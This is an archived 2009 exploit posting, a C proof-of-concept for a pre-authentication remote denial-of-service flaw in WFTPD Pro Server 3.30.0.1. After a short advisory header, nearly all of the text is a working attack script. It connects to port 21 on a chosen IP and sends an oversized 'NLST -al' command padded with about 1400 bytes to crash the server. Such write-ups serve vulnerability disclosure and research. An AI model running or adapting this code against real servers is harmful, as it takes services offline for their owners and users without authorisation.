wftpdpro_dos.c.txt
Posted on 26 January 2009
/*********************************************************************************************************\n* * Title: WFTPD Pro Server 3.30.0.1 (pre auth) Multiple Remote Denial of Service Vulnerabilities * * Summary: Professional FTP server for Windows NT / 2000 / XP / 2003 * * Desc: WFTPD Pro Server 3.30.0.1 suffers from multiple remote vulnerabilities which resolves * in denial of service. Several commands are vulnerable including: LIST, MLST, NLST, NLST -al, * STAT and maybe more. * * Product web page: http://www.wftpd.com/ * * Tested on Microsoft Windows XP Professional SP2 (English) * * Vulnerability discovered by Gjoko 'LiquidWorm' Krstic * * liquidworm [t00t] gmail [w00t] com * * http://www.zeroscience.org/ * * 26.01.2009 * ********************************************************************************************************/ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <netdb.h> void header(void); int main (int argc, char *argv[]) { int sckt = 0, sfd = 0; unsigned char payload[]= "x4Ex4Cx53x54x20x2Dx61x6Cx20" // NLST -al // "x4Cx49x53x54 - LIST, x4Dx4Cx53x54 - MLST, x4Ex4Cx53x54 - NLST, x53x54x41x54 - STAT +x20 "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" 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"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" // 1400 bytes "xDxA"; header(); if(argc != 2) { printf(" Usage: %s [ip] ", argv[0]); return (EXIT_SUCCESS); } struct sockaddr_in dos_ftp; sfd = socket(AF_INET, SOCK_STREAM, 0); if(sfd < 0) { perror("Socket"); printf("Error creating socket... "); return(1); } printf(" [+] Socket created! "); sleep (1); memset(&dos_ftp, 0x0, sizeof(dos_ftp)); dos_ftp.sin_family = AF_INET; dos_ftp.sin_addr.s_addr = inet_addr(argv[1]); dos_ftp.sin_port = htons(21); sckt = connect(sfd, (struct sockaddr *) &dos_ftp, sizeof(dos_ftp)); if(sckt < 0) { perror("Connect"); printf("Error connecting... "); return(1); } printf("[+] Connection established! "); sleep (1); printf("[+] Sending malicious payload to %s ... ", argv[1]); sleep(2); send(sfd, payload, sizeof(payload), 0); printf("[+] Malicious payload succesfully sent... "); sleep (1); printf("[+] WFTPD on %s has crashed! ", argv[1]); close (sfd); return(0); } void header() { printf(" -------------------------------------------------------------------------------- "); printf(" WFTPD Pro Server 3.30.0.1 (pre auth) Remote Denial of Service Exploit "); printf(" by LiquidWorm <liquidworm [t00t] gmail [w00t ] com> "); printf("-------------------------------------------------------------------------------- "); }
